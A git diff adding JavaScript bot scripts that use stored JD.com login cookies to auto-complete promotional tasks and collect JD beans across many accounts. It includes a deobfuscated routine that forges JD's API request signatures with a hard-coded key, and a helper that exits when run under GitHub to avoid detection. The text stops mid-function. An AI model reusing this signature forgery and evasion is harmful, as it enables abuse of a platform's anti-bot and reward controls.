!!item && item['signCursor'] === $.currSignCursor)[0]['signStatus']; + } + // console.log($.token, $.currSignCursor, $.signStatus) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data || {}); + } + }) + }) +} +function pg_interact_interface_invoke(body) { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?appid=sharkBean&functionId=pg_interact_interface_invoke&body=${escape(JSON.stringify(body))}`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Cookie": cookie, + "Accept": "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Length": "0", + "Host": "api.m.jd.com", + "Origin": "https://spa.jd.com", + "Referer": "https://spa.jd.com/home" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data || {}); + } + }) + }) +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function taskUrl(function_id, body = {}, appId = 'vip_h5') { + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=${appId}&body=${escape(JSON.stringify(body))}&_=${Date.now()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://vip.m.jd.com/newPage/reward/123dd/slideContent?page=focus', + } + } +} +function taskPostUrl(function_id, body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/4SXuJSqKganGpDSEMEkJWyBrBHcM/index.html', + } + } +} +function superShakePostUrl(function_id, body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${function_id}&appid=content_ecology&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.3.0&uuid=8888888&t=${Date.now()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/4SXuJSqKganGpDSEMEkJWyBrBHcM/index.html', + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_computer.js b/jd_computer.js new file mode 100644 index 0000000..f2e8470 --- /dev/null +++ b/jd_computer.js @@ -0,0 +1,464 @@ +/* +#电脑配件ID任务jd_computer,自行加入以下环境变量,多个ID用@连接 +export computer_activityIdList="17" + +即时任务,无需cron +*/ + +const $ = new Env('电脑配件通用ID任务'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +let activityIdList = ''; +let activityIdArr = []; +let activityId = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.computer_activityIdList) activityIdList = process.env.computer_activityIdList + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +allMessage = "" +message = "" +$.hotFlag = false +$.outFlag = 0 +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (!activityIdList) { + $.log(`没有电脑配件ID,尝试获取远程`); + let data = await getData("https://gitee.com/KingRan521/JD-Scripts/raw/master/shareCodes/dlpj.json") + if (data && data.length) { + $.log(`获取到远程且有数据`); + activityIdList = data.join('@') + }else{ + $.log(`获取失败或当前无远程数据`); + return + } + } + MD5() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + message = "" + $.bean = 0 + $.hotFlag = false + await getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + let activityIdArr = activityIdList.split("@"); + for (let j = 0; j < activityIdArr.length; j++) { + activityId = activityIdArr[j] + console.log(`电脑配件ID就位: ${activityId},准备开始薅豆`); + await run(); + if($.bean > 0 || message) { + let msg = `【京东账号${$.index}】${$.nickName || $.UserName}\n${$.bean > 0 && "获得"+$.bean+"京豆\n" || ""}${message}\n` + $.msg($.name, ``, msg); + allMessage += msg + } + } + } + if($.outFlag != 0) break + } + if(allMessage){ + $.msg($.name, ``, `${allMessage}\n`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${allMessage}\n`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function run() { + try { + $.list = '' + await indexInfo(); + if($.hotFlag) message += `活动太火爆\n` + if($.hotFlag) return + if($.list){ + for(let i in $.list || []){ + $.oneTask = $.list[i] + for(let j in $.oneTask.taskList || []){ + $.task = $.oneTask.taskList[j] + console.log(`[${$.oneTask.taskName}] ${$.task.name} ${$.task.status == 4 && '已完成' || $.task.status == 3 && '未领取' || '未完成'}`) + if($.task.status != 4) await doTask('doTask', $.task.id, $.oneTask.taskId); + if($.oneTask.taskId == 3 && $.task.status != 4){ + await $.wait(parseInt(Math.random() * 1000 + 6000, 10)) + await doTask('getPrize', $.task.id, $.oneTask.taskId); + } + if($.outFlag != 0) { + message += "\n京豆库存已空,退出脚本\n" + return + } + if($.task.status != 4) await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + } + } + }else{ + console.log('获取不到任务') + } + await indexInfo(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + if($.extraTaskStatus == 3 && $.outFlag == 0) await extraTaskPrize(); + await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + } catch (e) { + console.log(e) + } +} + +function indexInfo() { + return new Promise(async resolve => { + let sign = getSign("/tzh/combination/indexInfo",{"activityId": activityId}) + $.get({ + url: `https://combination.m.jd.com/tzh/combination/indexInfo?activityId=${activityId}&t=${sign.timestamp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + 'Content-Type':'application/json;charset=utf-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + 'sign': sign.sign, + 'timestamp': sign.timestamp + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data) + if(typeof res == 'object'){ + if(res.code == 200 && res.data){ + $.list = res.data.list + $.extraTaskStatus = res.data.extraTaskStatus + + }else if(res.msg){ + if(res.msg.indexOf('活动太火爆') > -1){ + $.hotFlag = true + } + console.log(res.msg) + }else{ + console.log(`活动获取失败\n${data}`) + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function doTask(type, id, taskId) { + if($.outFlag != 0) return + return new Promise(async resolve => { + let sign = getSign(`/tzh/combination/${type}`,{"activityId": activityId,"id":id,"taskId":taskId}) + $.post({ + url: `https://combination.m.jd.com/tzh/combination/${type}`, + body: `activityId=${activityId}&id=${id}&taskId=${taskId}&t=${sign.timestamp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie, + 'User-Agent': $.UA, + 'sign': sign.sign, + 'timestamp': sign.timestamp + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data) + if(typeof res == 'object'){ + if(res.code == 200 && res.data){ + let msg = res.data.jdNum && res.data.jdNum+"京豆" || '' + if(res.data.jdNum){ + console.log(`获得 ${msg}`) + $.bean += Number(res.data.jdNum) || 0 + }else{ + console.log(data) + } + }else if(res.msg){ + if(res.msg.indexOf('活动太火爆') > -1){ + $.hotFlag = true + }else if(res.msg.indexOf('京豆已被抢光') > -1){ + message += res.msg+"\n" + $.outFlag = 1 + } + console.log(res.msg) + }else{ + console.log(`活动获取失败\n${data}`) + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function extraTaskPrize() { + if($.outFlag != 0) return + return new Promise(async resolve => { + let sign = getSign(`/tzh/combination/extraTaskPrize`,{"activityId": activityId}) + $.post({ + url: `https://combination.m.jd.com/tzh/combination/extraTaskPrize`, + body: `activityId=${activityId}&t=${sign.timestamp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie, + 'User-Agent': $.UA, + 'sign': sign.sign, + 'timestamp': sign.timestamp + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data) + if(typeof res == 'object'){ + if(res.code == 200 && res.data){ + let msg = res.data.jdNum && res.data.jdNum+"京豆" || '' + if(res.data.jdNum){ + console.log(`获得 ${msg}`) + $.bean += Number(res.data.jdNum) || 0 + }else{ + console.log(data) + } + }else if(res.msg){ + if(res.msg.indexOf('活动太火爆') > -1){ + $.hotFlag = true + } + console.log(res.msg) + }else{ + console.log(`活动获取失败\n${data}`) + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getData(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve(); + }) +} +/* + *Progcessed By JSDec in 0.01s + *JSDec - JSDec.js.org + */ +function M(_0xc44a8f, _0x429a90, _0xdee559) { + var _0x4488a6 = { + 'CNgba': function(_0x215ac0, _0x215aad) { + return _0x215ac0 == _0x215aad; + }, + 'fzUrQ': 'string', + 'jqqVS': function(_0x287be6, _0x58e96c) { + return _0x287be6 + _0x58e96c; + }, + 'CAfDO': function(_0x38b00c, _0x1906ca) { + return _0x38b00c == _0x1906ca; + }, + 'ANdMj': 'object', + 'zEtiI': function(_0xba739d, _0x149c91) { + return _0xba739d(_0x149c91); + }, + 'pujRC': function(_0x5325b4, _0x2366cf) { + return _0x5325b4 + _0x2366cf; + }, + 'VxfTG': function(_0x5173a1, _0x5eb552) { + return _0x5173a1 + _0x5eb552; + }, + 'iRXRX': function(_0x411582, _0x32e553) { + return _0x411582 == _0x32e553; + }, + 'VoKLi': function(_0x1e1ab6, _0xc55723) { + return _0x1e1ab6 == _0xc55723; + }, + 'hodih': function(_0xa982a7, _0x531bdc) { + return _0xa982a7(_0x531bdc); + }, + 'dCNAc': function(_0x17dede, _0x2a2f62) { + return _0x17dede !== _0x2a2f62; + }, + 'TjWBq': 'ZBooW', + 'BEnKe': function(_0x390681, _0x2994f8) { + return _0x390681 + _0x2994f8; + }, + 'LBePY': function(_0x74c611, _0x49f5f4) { + return _0x74c611 + _0x49f5f4; + }, + 'llNkp': function(_0x302fe3, _0x5de6de) { + return _0x302fe3 + _0x5de6de; + } + }; + var _0x1f1f5c = '', + _0x110178 = _0xdee559['split']('?')[0x1] || ''; + if (_0xc44a8f) { + if (_0x4488a6['iRXRX'](_0x4488a6['fzUrQ'], typeof _0xc44a8f)) _0x1f1f5c = _0x4488a6['VxfTG'](_0xc44a8f, _0x110178); + else if (_0x4488a6['VoKLi'](_0x4488a6['ANdMj'], _0x4488a6['hodih'](x, _0xc44a8f))) { + if (_0x4488a6['dCNAc'](_0x4488a6['TjWBq'], _0x4488a6['TjWBq'])) { + if (_0x4488a6['CNgba'](_0x4488a6['fzUrQ'], typeof _0xc44a8f)) _0x1f1f5c = _0x4488a6['jqqVS'](_0xc44a8f, _0x110178); + else if (_0x4488a6['CAfDO'](_0x4488a6['ANdMj'], _0x4488a6['zEtiI'](x, _0xc44a8f))) { + var _0x3ff3f9 = []; + for (var _0x3a1019 in _0xc44a8f) _0x3ff3f9['push'](_0x4488a6['jqqVS'](_0x4488a6['pujRC'](_0x3a1019, '='), _0xc44a8f[_0x3a1019])); + _0x1f1f5c = _0x3ff3f9['length'] ? _0x4488a6['VxfTG'](_0x3ff3f9['join']('&'), _0x110178) : _0x110178; + } + } else { + var _0x407463 = []; + for (var _0x3f044c in _0xc44a8f) _0x407463['push'](_0x4488a6['BEnKe'](_0x4488a6['LBePY'](_0x3f044c, '='), _0xc44a8f[_0x3f044c])); + _0x1f1f5c = _0x407463['length'] ? _0x4488a6['LBePY'](_0x407463['join']('&'), _0x110178) : _0x110178; + } + } + } else _0x1f1f5c = _0x110178; + if (_0x1f1f5c) { + var _0xed2a35 = _0x1f1f5c['split']('&')['sort']()['join'](''); + return $['md5'](_0x4488a6['llNkp'](_0xed2a35, _0x429a90)); + return _0x4488a6['llNkp'](_0xed2a35, _0x429a90); + } + return $['md5'](_0x429a90); + return _0x429a90; +} + +function x(_0x543ed7) { + var _0x59f6a8 = { + 'mwjbO': function(_0x1d95c8, _0x185b22) { + return _0x1d95c8 === _0x185b22; + }, + 'qdkKz': 'function', + 'VPiUV': function(_0x44e857, _0x30eba3) { + return _0x44e857 === _0x30eba3; + }, + 'YVTeQ': function(_0x14d902, _0x3e6382) { + return _0x14d902 !== _0x3e6382; + }, + 'chONS': 'symbol', + 'HuNNH': function(_0x49e6ac, _0x3b178a) { + return _0x49e6ac === _0x3b178a; + }, + 'CYwxT': function(_0x3acb6a, _0x86b540) { + return _0x3acb6a === _0x86b540; + }, + 'EgeQW': function(_0x3eb366, _0x504ccf) { + return _0x3eb366(_0x504ccf); + } + }; + return x = _0x59f6a8['HuNNH'](_0x59f6a8['qdkKz'], typeof Symbol) && _0x59f6a8['CYwxT'](_0x59f6a8['chONS'], typeof Symbol['iterator']) ? function(_0x543ed7) { + return typeof _0x543ed7; + } : function(_0x543ed7) { + return _0x543ed7 && _0x59f6a8['mwjbO'](_0x59f6a8['qdkKz'], typeof Symbol) && _0x59f6a8['VPiUV'](_0x543ed7['constructor'], Symbol) && _0x59f6a8['YVTeQ'](_0x543ed7, Symbol['prototype']) ? _0x59f6a8['chONS'] : typeof _0x543ed7; + }, _0x59f6a8['EgeQW'](x, _0x543ed7); +} + +function getSign(_0x275690, _0x3d87d0) { + var _0x574204 = { + 'HwKtx': '07035cabb84lm694', + 'esyRZ': function(_0x3b0b1b, _0x1b2926) { + return _0x3b0b1b + _0x1b2926; + }, + 'FyOHq': function(_0x37ac02, _0x313227, _0xc09a5c, _0x49ff18) { + return _0x37ac02(_0x313227, _0xc09a5c, _0x49ff18); + } + }; + let _0x3df4f3 = new Date()['getTime'](); + _0x3d87d0['t'] = _0x3df4f3; + var _0x25b268 = _0x574204['HwKtx']; + var _0x3c4a45 = _0x3df4f3, + _0x553e06 = _0x574204['esyRZ'](_0x25b268, _0x3c4a45); + let _0x70c008 = { + 'sign': _0x574204['FyOHq'](M, _0x3d87d0, _0x553e06, _0x275690), + 'timestamp': _0x3c4a45 + }; + return _0x70c008; +}; +_0xod9 = 'jsjiami.com.v6' + +function MD5(){ + // MD5 + !function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, 